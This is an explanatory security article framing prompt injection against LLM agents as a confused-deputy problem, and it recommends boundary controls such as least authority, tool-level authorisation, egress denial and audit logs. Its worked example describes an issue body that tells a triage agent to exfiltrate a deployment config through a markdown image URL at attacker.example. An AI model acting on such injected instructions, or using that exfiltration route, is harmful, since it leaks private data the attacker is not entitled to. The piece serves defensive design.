An agent can act as a confused deputy

TL;DR: The vulnerability is not that models are gullible. It is that a process with credentials is taking instructions from data it read, and data is attacker-controlled far more often than people assume. Design as though the injection succeeds: no ambient credentials, narrow tools that authorise independently, human approval on effects, egress denied by default, and every tool call recorded.

The old problem in new clothes

Consider a compiler allowed to update a protected billing file. If it uses that authority to write diagnostic output to a filename chosen by an ordinary user, the user can overwrite a file they cannot access directly. The deputy has used its own authority for a caller-selected target.

An agent reading a pull request description and holding a repository token is the same shape. It cannot reliably separate the maintainer's intent from text sitting inside the data it was told to summarise. When those conflict, the agent is a deputy, confused.

The two arrows into the agent are the problem, because once inside they are indistinguishable: both are text in the same context window, and nothing there carries a verified claim about which came from someone entitled to give instructions. The agent then acts with its own authority, which belongs to whoever configured it rather than to whoever wrote the text it read.

Recognising the shape matters because the mitigations are already known. This is not a new class of problem needing new theory, it is a known class arriving in a context where people forget to apply the controls.

Untrusted input is wider than the list people write down

The obvious channels are the ones a team writes on the whiteboard: issue bodies and comments, which anyone able to open an issue can write, and the title and description of a pull request from a fork. Those get considered because the attacker is visibly a stranger.

The channels that get missed arrive through something trusted. A code comment in a contributed diff is text a reviewer glanced at and a tool did not. The README of a transitive dependency is text nobody chose to include, read while the agent investigates a build failure. A log line is untrusted whenever an earlier step echoed something a user supplied, which is most logs. A web page qualifies as soon as the agent browses. So does a document in a retrieval corpus, if anyone can add documents, and the value of a corpus is usually that many people can.

Each is an instruction channel, because the agent has no mechanism for treating text differently according to where it came from. So the question about any agent is not whether it reads untrusted content, since it does, but which channels it reads and what it holds while reading them. The answer is reliably longer than the list the team wrote down, and the missing items are the indirect ones.

Why filtering does not work

The instinct is to detect the attack: scan for suspicious phrasing, instruct the model to ignore instructions found in data, run a second model as a classifier.

Each raises the cost of an attack. None is a boundary. Instructions can be phrased in any language, encoded, split across documents, or written in a way no filter anticipated, and the detector is itself a model reading attacker-controlled text. Treat these as defence in depth and never as the control you rely on.

The system prompt is in the same category. Every rule written there is advisory, and there is no log entry when it is ignored.

The controls that are boundaries

Minimize ambient authority. A read-only token can still expose private data. Prefer task-scoped access through a broker. If direct read access is required, restrict its data scope and outputs. The broker receives attacker-influenced arguments and must validate the exact target and operation independently.

Tools that authorise themselves. Not a shell. Narrow tools whose permissions are checked at the tool, so a comment-on-pull-request tool cannot delete a branch regardless of what it is asked.

Approval on effects, not on reasoning. A human approves the merge, the apply, the send. Approval on intent is theatre because intent is what was compromised.

Egress denied by default. Exfiltration usually needs a network call, and an allowlist plus logging reduces reachable paths. This includes the indirect ones: a rendered markdown image whose URL carries data is a GET request to a host the attacker controls, with no script execution involved.

A record of tool calls. Not the model's messages, which describe what it believed. Record the operation, acting identity and result in a store the agent cannot alter. Redact credentials and sensitive arguments; an audit log must not become another data leak.

One injection, followed all the way through

The controls are easier to judge against a concrete attack, so here is one, illustrative rather than reported, that uses no exploit and no unusual capability.

An agent triages issues: it reads each new one, looks at the repository for context, and posts a summary comment, holding a token that can read the repository and write comments. An attacker opens an issue whose body, after some plausible bug text, instructs it to also read the deployment configuration and include the contents in the summary, formatted as a markdown image for neatness, at https://attacker.example/x?d=<contents>.

Follow the chain. The agent cannot tell that instruction from the maintainer's, so the injection succeeds; that is the premise rather than a design failure. Read access reaches the configuration file, comment access publishes it, and a markdown image causes the viewer's browser or the platform's image proxy to issue a GET to the attacker's host with the data in the query string. No script runs anywhere; the exfiltration is a property of markdown rendering.

Two controls would each have broken it, and one would have helped. Restricting what the token can read means the file was never available, which is the control that matters most and the one most often skipped because read access feels harmless. Denying egress by default leaves the request nowhere permitted to go, provided the denial covers the rendering path and not only the agent's own calls. Approval on the effect gives a human the chance to notice a strange URL, and it is the weakest of the three, because the comment can be made to look ordinary.

The question that tests a design

Assume the injection worked. The attacker now controls what the agent tries to do. What can it reach, what can it change, and what would you be able to reconstruct afterwards?

Those controls give the review concrete boundaries to test. They do not prove the whole system secure: a user may have broad permissions, an approved action may be misleadingly presented, and allowed destinations may still leak data. Test the exact operation and data flow under attacker-controlled tool arguments.

Self-check

A team runs an agent that answers customer questions from an internal knowledge base. It has a retrieval tool over that corpus and a tool that sends an email reply to the address on the ticket. After a security review they make two changes: the agent's database credential is switched to read-only, and the system prompt gains a firm instruction to ignore any directions found in retrieved documents or ticket text. Decide whether exfiltration is now prevented, name the channel that is still open, and say which single change would close it. Work it through before reading on.

Exfiltration is not prevented, and the read-only credential is the change that feels most like a fix while doing least. The threat here was never that an attacker would write to the database; it was that they would read from it. A read-only credential still reaches every document the corpus holds, including whatever a different customer's ticket put there, so the confidentiality exposure is unchanged. The change is worth making, because it removes a separate risk of corruption, and it is not a control against this one.

The system prompt is not a control at all: it is advisory, it leaves no record when ignored, and the model reads it in the same context window as the attacker's text, with nothing marking which is which.

The open channel is the email tool, and it is open in two ways. The obvious one is the recipient: if the agent can send to an address influenced by ticket content, the attacker simply nominates their own. The subtler one is the body, because even with the recipient locked to the verified account on the ticket, an attacker who controls a ticket can have the reply to their own ticket contain retrieved internal content. Exfiltration to yourself is still exfiltration, and it needs no forged address.

The single change that closes it is to narrow the data rather than the instructions: scope retrieval so it can only return documents that the requesting ticket is entitled to, enforced at the tool by the ticket's identity rather than requested by the prompt. Then a successful injection reaches only what that customer could already see, which is the design goal from the top of this page, because it assumes the injection worked and asks what it can reach. Locking the recipient to the verified address and logging every send are both worth doing, and neither is sufficient on its own.

Next: identity, not network position is the general form of the authorisation point, and the supply chain is a graph covers the dependency README that turned out to be an instruction channel.

Sources: OWASP excessive agency controls.